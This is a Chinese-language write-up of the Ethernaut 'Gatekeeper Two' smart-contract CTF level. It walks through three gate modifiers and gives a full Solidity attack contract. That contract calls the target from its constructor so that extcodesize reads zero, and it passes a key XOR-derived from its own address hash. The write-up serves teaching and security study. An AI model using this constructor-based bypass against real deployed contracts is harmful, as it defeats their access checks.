Skip to content
On this page

智闯天关:Gatekeeper Two CTF深度解析与完美破解

在Ethernaut的区块链安全挑战世界中,"Gatekeeper Two"无疑是一道令人兴奋且极具教育意义的关卡。它不仅仅考验你对Solidity基础的掌握,更深入触及了EVM底层机制、汇编语言以及巧妙的位运算。想要成为那名幸运的entrant?准备好迎接一场思维的风暴吧!

挑战描述:三道智能合约之门

Gatekeeper Two合约设置了三道“守卫之门”(modifier),只有全部通过,你才能成功调用enter函数,将你的地址注册为entrant。让我们逐一拆解这些门背后隐藏的玄机。

第一道门:熟悉的陌生人 (gateOne)

solidity
modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

这道门对于经历过“Gatekeeper One”的你来说,应该是老朋友了。它要求msg.sender(当前函数的直接调用者)不能等于tx.origin(交易发起者,即你的外部账户EOA)。

破解思路: 最直接的方法就是通过一个中间合约来调用GatekeeperTwoenter函数。这样,你的EOA是tx.origin,而中间合约的地址将是msg.sender,两者自然不同,第一道门轻松通过。

第二道门:汇编魔法与代码尺寸之谜 (gateTwo)

solidity
modifier gateTwo() {
    uint256 x;
    assembly {
        x := extcodesize(caller())
    }
    require(x == 0);
    _;
}

这道门开始引入了挑战性!

  • assembly:Solidity的内联汇编功能,允许合约直接与EVM底层指令交互。
  • extcodesize(caller()):一个EVM指令,用于获取指定地址的代码大小。caller()在汇编中等同于msg.sender,即当前函数的直接调用者。
  • require(x == 0):要求调用者的代码大小必须为零。

核心难题: 一个已部署的合约,其代码大小通常不为零。那什么时候一个合约的extcodesize会是0呢?

破解思路: 这正是这道门最巧妙的地方!根据以太坊黄皮书(Yellow Paper)的第七节,一个合约的extcodesize其构造函数执行期间是零。当合约的代码正在被部署时,它尚未完全存在于链上,因此其代码大小报告为零。

这意味着,如果我们的中间合约在其构造函数内部调用GatekeeperTwoenter函数,那么此时msg.sender(即我们的中间合约本身)的extcodesize将为0,第二道门便能顺利通过!

第三道门:位运算的智慧 (gateThree)

solidity
modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
}

最后一道门引入了位运算和哈希计算:

  • keccak256(abi.encodePacked(msg.sender)):计算msg.sender地址的Keccak-256哈希值。
  • bytes8(...):将哈希值截断为8字节。
  • uint64(...):将8字节数据转换为uint64无符号整数。
  • ^:位异或(XOR)操作符。
  • type(uint64).maxuint64类型所能表示的最大值,即所有64位都为1。

等式解读:A ^ B == type(uint64).max

其中,Auint64(bytes8(keccak256(abi.encodePacked(msg.sender))))B是你需要传入的 uint64(_gateKey)

当两个数异或结果是所有位都为1的最大值时,这意味着这两个数互为位反码(bitwise complement)。换句话说,如果A的某一位是0,那么B的对应位就是1;如果A的某一位是1,那么B的对应位就是0。

数学性质:A ^ B == MAX 等价于 B == A ^ MAX

破解思路: 我们需要在调用enter函数时,计算出正确的_gateKey

  1. 首先,确定msg.sender。由于我们使用中间合约调用,msg.sender就是我们中间合约的地址。
  2. 在中间合约内部,我们可以计算出 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))))address(this)即为中间合约自己的地址)。
  3. 然后,根据异或的性质,我们所需的_gateKey就是 k = s ^ type(uint64).max
  4. 将计算出的kuint64类型)转换为bytes8,作为参数传入enter函数。

完美破解:Hack.sol 的诞生

综合以上分析,我们可以设计一个巧妙的攻击合约Hack.sol,它将在其构造函数中完成所有“闯关”操作:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function entrant() external view returns (address);
    function enter(bytes8) external returns (bool);
}

contract Hack {
    IGatekeeperTwo private immutable target;

    constructor(address _target) {
        target = IGatekeeperTwo(_target);

        // Gate Three calculation:
        // s = uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
        // msg.sender here is 'this' (the Hack contract itself)
        uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        // _gateKey = s ^ type(uint64).max
        uint64 k = s ^ type(uint64).max;

        bytes8 key = bytes8(k);

        // Attempt to enter the GatekeeperTwo contract
        // This call is made from the constructor of Hack.sol
        // Bypasses Gate One (msg.sender != tx.origin)
        // Bypasses Gate Two (extcodesize(caller()) == 0, because we are in constructor)
        // Bypasses Gate Three (calculated key `k`)
        require(target.enter(key), "Enter fail!");
    }
}

Hack合约的工作原理:

  1. 部署Hack合约:你的EOA部署Hack合约。
  2. Hack的构造函数执行
    • msg.senderHack合约地址,tx.origin为你的EOA。第一道门通过。
    • target.enter(key)被调用时,GatekeeperTwo合约中的caller()(即msg.sender)是Hack合约。此时,Hack合约的构造函数正在执行,其代码尚未完全部署,所以extcodesize(caller())返回0。第二道门通过。
    • Hack合约计算出自身的地址哈希,并与type(uint64).max异或,得到正确的_gateKey,并将其传入enter函数。第三道门通过。
  3. 成功注册GatekeeperTwo合约的entrant将被设置为你的EOA(因为enter函数最终会将tx.origin赋值给entrant)。

学习与启示

"Gatekeeper Two"是一个精彩的挑战,它教会我们:

  • tx.originmsg.sender的区别:在合约交互中至关重要。
  • EVM底层机制:理解合约部署过程中extcodesize的变化,以及合约构造函数的特殊性。
  • Solidity assembly:了解它如何提供对EVM底层操作的访问。
  • 位运算的巧妙应用:XOR在密码学和协议设计中的常见用途,尤其是在计算位反码时。
  • 攻击合约的强大作用:在许多CTF和实际场景中,通过部署一个辅助合约来触发特定条件是常用的策略。

通过解决这个挑战,你不仅提升了Solidity编程技能,更深入理解了EVM的运行机制,为成为一名合格的区块链安全工程师或开发者打下了坚实的基础!勇敢地去探索更多区块链的奥秘吧!

Built with AiAda